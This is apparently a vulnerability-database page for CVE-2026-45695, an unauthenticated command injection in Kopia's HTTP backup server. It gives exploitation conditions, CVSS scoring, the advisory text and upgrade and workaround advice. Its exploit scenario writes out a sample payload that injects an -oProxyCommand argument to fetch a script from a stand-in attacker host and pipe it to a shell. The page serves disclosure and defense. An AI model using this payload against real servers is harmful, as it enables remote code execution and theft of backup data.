Skip to main content

Kopia EUVDEUVD-2026-44948

| CVE-2026-45695 CRITICAL
OS Command Injection (CWE-78)
2026-05-19 https://github.com/kopia/kopia GHSA-2q4c-3mrw-63c3
Critical
Disputed · 9.8 Vendor: https://github.com/kopia/kopia
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Scan for exposed Kopia HTTP server
  2. Delivery
    Confirm unauthenticated /api/v1/repo/exists
  3. Exploit
    POST SFTP config with -oProxyCommand payload in sshArguments
  4. Install
    ssh argv tokenized and executed
  5. C2
    OpenSSH invokes $SHELL -c on attacker command
  6. Execute
    Arbitrary code runs as Kopia process user
  7. Impact
    Access backup repository data and host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The Kopia HTTP server must have been started with the --without-password flag (which also implies --insecure in practice on pre-0.23 builds), causing internal/server/server_authz_checks.go to return a nil authenticator and authorize every UI endpoint. The listener must be reachable by the attacker on a non-loopback interface (LAN address, 0.0.0.0, or public IP) - loopback-only bindings are not remotely exploitable. The request must target /api/v1/repo/exists with a JSON body selecting the SFTP storage backend with externalSSH:true and supplying a sshArguments string containing a -oProxyCommand=<cmd> token. No credentials, no user interaction, no prior connection to a repository, and no valid SFTP target host are required (the ProxyCommand executes before any TCP connection attempt). Limiting factors: the deployment must be in the --without-password mode (not the default for production setups using KopiaUI authentication or reverse-proxy auth), and version must be <= 0.22.3 (0.23.0 refuses non-loopback binds in this mode).

Impact

All signals point to this being a real, high-priority issue rather than a paper-tiger CVSS rating. The CVSS v3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8) matches the description: network-reachable HTTP endpoint, no authentication, no user interaction, low complexity, and full CIA impact through arbitrary command execution. KEV status is not listed and EPSS data was not provided in this input, so widespread mass-exploitation telemetry cannot be confirmed, but the GHSA advisory publishes a complete exploit recipe (the -oProxyCommand technique and exact endpoint), which effectively functions as public exploit code. The chief limiting factor is deployment shape: exploitation requires the operator to have deliberately started kopia server with --without-password AND bound it to a non-loopback interface - the new 0.23.0 release refuses that combination by default, suggesting most legitimate deployments were on loopback. Where the server was exposed to LAN or internet (a known anti-pattern in homelab/NAS setups), risk is critical and exploitation is trivial.

Exploit ScenarioDerived

An attacker scans for Kopia HTTP/HTTPS endpoints (commonly TCP/51515 or operator-chosen ports) reachable on the LAN or internet, identifies one launched with --without-password by the unauthenticated availability of /api/v1/repo/exists, and sends a single POST containing a JSON body that selects the SFTP backend with externalSSH:true and sets sshArguments to something like "-oProxyCommand=curl http://attacker/x|sh dummy@dummy". OpenSSH immediately invokes $SHELL -c on the attacker's payload before attempting any TCP connection, yielding code execution as the Kopia process user (often a backup-privileged service account with read access to everything being backed up). The advisory itself documents the technique step by step, which is functionally equivalent to a published PoC.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 19, 2026

Remote code execution in Kopia backup server (≤ 0.22.3) allows unauthenticated attackers to run arbitrary OS commands as the Kopia process user via a single HTTP request to /api/v1/repo/exists when the server is launched with --without-password. Publicly available exploit code exists through the published GHSA advisory and PR diff; no public exploit identified at time of analysis as being weaponized in the wild, but the trivially exploitable vector (CVSS 9.8) and detailed write-up make weaponization straightforward. The bug stems from naive space-splitting of attacker-controlled sshArguments that is fed to exec.CommandContext("ssh"), letting an -oProxyCommand= token trigger $SHELL -c execution before any SSH transport is established.

RemediationAI

Vendor-released patch: upgrade to Kopia 0.23.0 or later, which introduces the insecureserverbind package and refuses to bind an unauthenticated server (--without-password combined with --insecure) to any non-loopback address unless the operator explicitly passes the new --allow-extremely-dangerous-unauthenticated-server-on-the-network flag (see https://github.com/kopia/kopia/pull/5354 and the advisory at https://github.com/kopia/kopia/security/advisories/GHSA-2q4c-3mrw-63c3). If upgrading immediately is not possible, the recommended workarounds are to always start kopia server with --server-username and --server-password (or TLS client certificates) so getAuthenticator() returns a real authenticator, restrict the listen address to 127.0.0.1 or a Unix domain socket and front it with an authenticated reverse proxy, and add a host-based firewall rule blocking inbound access to the Kopia HTTP port from anything except trusted management hosts; the trade-off is that loopback-only binding breaks remote browser access until a proxy is configured. Operators should also audit logs for unexpected requests to /api/v1/repo/exists carrying storage.config.sshArguments containing -oProxyCommand.

Affected VersionsENISA

kopia < 0.23.0

Affected Packages

go github.com/kopia/kopia fix: 0.23.0
euvd kopia fix: 0.23.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Kopia is an open-source, cross-platform backup tool written in Go (pkg:go/github.com_kopia_kopia) that exposes an HTTP control/UI API. Two code paths combine to produce this flaw: internal/server/server_authz_checks.go (lines 61-73) returns a nil authenticator when --server-username/--server-password are absent, causing requireUIUser to unconditionally authorize every UI endpoint registered via handleUIPossiblyNotConnected; and repo/blob/sftp/sftp_storage.go (lines 448-468) tokenizes attacker-supplied SSHArguments by splitting on the literal ASCII space and appends the tokens directly to the ssh argv via os/exec, with no shell tokenizer, quote handling, or allowlist. The root cause is classic CWE-78 (OS Command Injection): OpenSSH's -oProxyCommand directive intentionally hands its value to $SHELL -c before opening any TCP connection, turning untrusted ssh arguments into a shell-execution primitive even when the target host is unreachable.

Know when SSH gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Sources disagree (Medium–Critical)
Vendor (https://github.com/kopia/kopia) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
SUSE CRITICAL
Red Hat 6.5 MEDIUM

vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.

CVSS VectorVendor: https://github.com/kopia/kopia

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

Kopia's HTTP server, when started with --without-password , accepts unauthenticated requests to /api/v1/repo/exists. The handler forwards an attacker-supplied storage configuration to blob.NewStorage. For SFTP backends with externalSSH: true, that path constructs a process command line by splitting sshArguments on spaces and passes the result directly to exec.CommandContext("ssh"). An -oProxyCommand=<cmd> token in sshArguments causes OpenSSH to invoke <cmd> via $SHELL -c before any TCP connection is attempted, giving the requester arbitrary command execution as the Kopia process user.

Analysis

internal/server/server_authz_checks.go lines 61-73:

when the server is started without --server-username or --server-password, getAuthenticator() returns nil and requireUIUser unconditionally authorizes the request. Every endpoint registered through handleUIPossiblyNotConnected becomes accessible without credentials.

repo/blob/sftp/sftp_storage.go lines 448-468:

opt.SSHArguments is populated from the JSON request body (storage.config.sshArguments). The string is split only on the literal ASCII space character, there is no shell style tokenizer, no quote handling, and no allowlist. Whatever tokens the caller supplies are appended to the ssh argv.

OpenSSH treats -oProxyCommand=<value> as a directive to execute <value> via the user's shell ($SHELL -c <value>) and pipe the SSH transport over its stdio. The shell invocation happens before SSH attempts a TCP connection, so the command runs even when the target host is unreachable.

Impact

No user interaction is required. No valid credentials are required. The exploit is a single HTTP request.

Credits

This vulnerability was discovered and responsibly disclosed by Daniele Berardinelli.

Mitigation

https://github.com/kopia/kopia/pull/5354 disallows starting of a server without a password which also listens on a non-loopback interface.

Executive ViewAI

Why It Matters

Kopia backup server (versions ≤0.22.3) can be exploited by remote attackers to execute commands and take control of backup infrastructure without any authentication. Organizations using affected versions face immediate risks including data theft, backup poisoning for ransomware deployment, and supply-chain threats. Emergency patching is critical given the availability of working exploit code and the extreme ease of exploitation.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 71% exploitable
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

69
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in SSH

View all
CVE-2014-6271 CRITICAL POC
9.8 Sep 24

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which

CVE-2014-6278 HIGH POC
8.8 Sep 30

GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, whi

CVE-2014-7169 CRITICAL POC
9.8 Sep 25

GNU Bash through 4.3 bash43-025 processes trailing strings after certain malformed function definitions in the values of

CVE-2012-6066 CRITICAL POC
9.3 Dec 04

freeSSHd.exe in freeSSHd through 1.2.6 allows remote attackers to bypass authentication via a crafted session, as demons

CVE-2014-6277 CRITICAL POC
10.0 Sep 27

GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, whi

CVE-2026-123158 HIGH POC
8.1 Nov 05

Password authentication bypass in OpenSSH sshd before 10.6p2 built against musl libc without PAM lets a remote, unauthen

CVE-2023-38408 CRITICAL POC
9.8 Jul 20

The PKCS#11 feature in ssh-agent in OpenSSH before 9.3p2 has an insufficiently trustworthy search path, leading to remot

CVE-2023-25136 MEDIUM POC
6.5 Feb 03

OpenSSH server (sshd) 9.1 introduced a double-free vulnerability during options.kex_algorithms handling. Rated medium se

CVE-2016-6210 MEDIUM POC
5.9 Feb 13

sshd in OpenSSH before 7.3, when SHA256 or SHA512 are used for user password hashing, uses BLOWFISH hashing on a static

CVE-2015-5600 HIGH POC
8.1 Aug 03

The kbdint_next_device function in auth2-chall.c in sshd in OpenSSH through 6.9 does not properly restrict the processin

CVE-2016-6515 HIGH POC
7.5 Aug 07

The auth_password function in auth-passwd.c in sshd in OpenSSH before 7.3 does not limit password lengths for password a

CVE-2024-6387 HIGH POC
8.1 Jul 01

Remote code execution in OpenSSH's sshd server (regression of CVE-2006-5051) allows unauthenticated remote attackers to

Vendor StatusVendor

SUSE

Severity: Critical

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy